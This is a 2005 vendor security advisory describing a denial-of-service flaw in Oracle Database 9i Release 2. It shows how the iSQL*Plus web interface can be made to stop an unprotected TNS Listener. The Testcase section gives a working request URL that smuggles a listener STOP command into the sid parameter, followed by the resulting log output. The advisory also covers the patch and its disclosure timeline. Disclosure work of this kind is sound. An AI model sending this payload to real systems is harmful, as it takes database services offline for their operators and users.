Shutdown TNS Listener via Oracle iSQL*Plus
Shutdown TNS Listener via Oracle iSQL*Plus
##########################################
Name Shutdown TNS Listener via Oracle iSQL*Plus
Systems Affected Oracle Database 9i Rel. 2
Severity Medium Risk
Category Denial of Service
Vendor URL http://www.oracle.com
This advisory
http://www.red-database-security.com/advisory/oracle_isqlplus_shutdown.html
Author Alexander Kornbrust (ak at red-database-security.com)
Date 7 October 2005 (V 1.00)
Details
#######
Oracle iSQL*Plus is a web interface to SQL*Plus. The web interface can be used
to stop the (unprotected) TNS Listener.
Affected Products
#################
Oracle Database 9i Release 2
Testcase
########
http://server:3339/isqlplus?username=s&password=s&sid=%28DESCRIPTION%3D%28ADDRESS_LIST%3D%28ADDRESS%3D%28PROTOCOL%3DTCP%29%28HOST%3Dlocalhost%29%28PORT%3D1521%29%29%29%28CONNECT_DATA%3D%28COMMAND%3DSTOP%29%28SERVICE%3DLISTENER%29%28USER%3DHacker%29%29%29&login=Login&action=logon
==> ERROR:
ORA-12564: TNS:connection refused
Excerpt from the listener.log:
28-OCT-2003 15:14:39 *
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(USER=Hacker)(CID=(PROGRAM=c:\oracle\ora92\bin\isqlplus)(HOST=LOCALHOST)(USER=SYSTEM)))
* stop * 0
Affected systems
################
Tested with Oracle Database 9.0.2.4.
Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005). Oracle
forgot to inform Red-Database-Security that this bug is fixed with CPU July
2005.
All already published alerts are available on the web site of
Red-Database-Security GmbH
http://www.red-database-security.com/advisory/published_alerts.html
History
#######
28-oct-2003 Oracle secalert was informed
29-oct-2003 Bug confirmed
12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security
that this bug is already fixed.
07-oct-2005 Red-Database-Security published this advisory
© 2005 by Red-Database-Security GmbH - last update 7-october-2005